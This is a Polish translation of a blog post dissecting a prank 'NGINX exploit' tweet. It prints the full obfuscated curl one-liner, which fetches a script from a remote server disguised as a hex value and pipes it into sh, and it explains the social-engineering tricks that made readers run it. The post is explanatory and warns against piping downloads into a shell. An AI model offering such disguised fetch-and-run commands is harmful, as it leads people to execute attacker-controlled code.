Notatka. przeł.:
TL; DR: W żadnym wypadku nie używaj potokowania plików w sh lub bash. To świetny sposób na utratę kontroli nad komputerem.
Chcę podzielić się z Wami krótką historią dotyczącą komicznego exploita PoC, który powstał 31 maja. Pojawił się natychmiast w odpowiedzi na wieści z
Po zakończeniu pracy nad nową techniką zaciemniania w curl zacytowałem oryginalny tweet i „wyciekłem działający PoC” składający się z pojedynczej linii kodu, który rzekomo wykorzystuje odkrytą lukę. Oczywiście była to kompletna bzdura. Zakładałem, że natychmiast zostanę zdemaskowany i że w najlepszym razie dostanę kilka retweetów (no cóż).
Nie potrafiłem jednak sobie wyobrazić, co stało się później. Popularność mojego tweeta gwałtownie wzrosła. Co zaskakujące, w tej chwili (15 czerwca o godzinie 00:1 czasu moskiewskiego) niewiele osób zdało sobie sprawę, że to podróbka. Wiele osób przesyła dalej ten post bez sprawdzania tego w ogóle (nie mówiąc już o podziwianiu pięknej grafiki ASCII, jaką generuje).
Tylko spójrz, jakie to piękne!
Chociaż wszystkie te pętle i kolory są świetne, jasne jest, że ludzie musieli uruchomić kod na swojej maszynie, aby je zobaczyć. Na szczęście przeglądarki działają w ten sam sposób, a w połączeniu z faktem, że nie chciałem wdawać się w kłopoty prawne, kod ukryty w mojej witrynie po prostu wykonywał wywołania echa bez próby instalowania lub wykonywania jakiegokolwiek dodatkowego kodu.
Mała dygresja:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Inżynieria społeczno-elektroniczna (SEE) – coś więcej niż tylko phishing
Bezpieczeństwo i znajomość były głównymi elementami tego eksperymentu. Myślę, że to oni zadecydowali o jego sukcesie. Wiersz poleceń wyraźnie sugerował bezpieczeństwo, odwołując się do „127.0.0.1” (dobrze znanego hosta lokalnego). Localhost jest uważany za bezpieczny, a dane na nim nigdy nie opuszczają Twojego komputera.
Znajomość była drugim kluczowym elementem eksperymentu dotyczącym SEE. Ponieważ docelową grupą odbiorców były głównie osoby zaznajomione z podstawami bezpieczeństwa komputerowego, ważne było utworzenie kodu w taki sposób, aby jego części wydawały się znajome i znajome (a zatem bezpieczne). Pożyczanie elementów starych koncepcji exploitów i łączenie ich w nietypowy sposób okazało się bardzo skuteczne.
Poniżej znajduje się szczegółowa analiza jednoliniowca. Wszystko z tej listy się nosi charakter kosmetycznyi praktycznie nic nie jest potrzebne do jego faktycznej pracy.
Jakie komponenty są naprawdę potrzebne? Ten -gsS
, -O 0x0238f06a
, |sh
i sam serwer WWW. Serwer WWW nie zawierał żadnych złośliwych instrukcji, a jedynie udostępniał grafikę ASCII za pomocą poleceń echo
w skrypcie zawartym w index.html
. Gdy użytkownik wprowadził linię z |sh
pośrodku, index.html
załadowane i wykonane. Na szczęście opiekunowie serwera internetowego nie mieli złych zamiarów.
-
../../../%00
— reprezentuje wyjście poza katalog; -
ngx_stream_module.so
— ścieżka do losowego modułu NGINX; -
/bin/sh%00<'protocol:TCP'
- podobno startujemy/bin/sh
na maszynie docelowej i przekieruj wyjście do kanału TCP; -
-O 0x0238f06a#PLToffset
- sekretny składnik, uzupełniony#PLToffset
, aby wyglądać jak przesunięcie pamięci zawarte w PLT; -
|sh;
- kolejny ważny fragment. Musieliśmy przekierować dane wyjściowe do sh/bash, aby wykonać kod pochodzący z atakującego serwera internetowego zlokalizowanego pod adresem0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- manekin, do którego odnosi się netcat/dev/tcp/localhost
aby wszystko znowu wyglądało bezpiecznie. Tak naprawdę nie robi nic i zalicza się do kategorii urody.
Na tym kończy się dekodowanie jednowierszowego skryptu i dyskusja na temat aspektów „inżynierii socjoelektronicznej” (skomplikowany phishing).
Konfiguracja serwera WWW i środki zaradcze
Ponieważ zdecydowana większość moich subskrybentów to informatycy/hakerzy, postanowiłem uczynić serwer WWW nieco bardziej odpornym na wyrażanie „zainteresowania” z ich strony, tak żeby chłopaki mieli co robić (a byłoby fajnie organizować coś). Nie będę tutaj wymieniał wszystkich pułapek, ponieważ eksperyment wciąż trwa, ale oto kilka rzeczy, które robi serwer:
- Aktywnie monitoruje próby dystrybucji w niektórych sieciach społecznościowych i podmienia różne miniatury podglądu, aby zachęcić użytkownika do kliknięcia linku.
- Przekierowuje Chrome/Mozilla/Safari/etc do filmu promocyjnego Thugcrowd zamiast pokazywać skrypt powłoki.
- Wyszukuje OCZYWISTE oznaki włamania/rażącego włamania, a następnie zaczyna przekierowywać żądania do serwerów NSA (ha!).
- Instaluje trojana oraz rootkita BIOS-u na wszystkich komputerach, których użytkownicy odwiedzają hosta za pomocą zwykłej przeglądarki (tylko żartuję!).
Niewielka część antymerów
W tym przypadku moim jedynym celem było opanowanie niektórych funkcji Apache – w szczególności fajnych zasad przekierowywania żądań – i pomyślałem: czemu nie?
Exploit NGINX (prawdziwy!)
Subskrybuj
Źródło: www.habr.com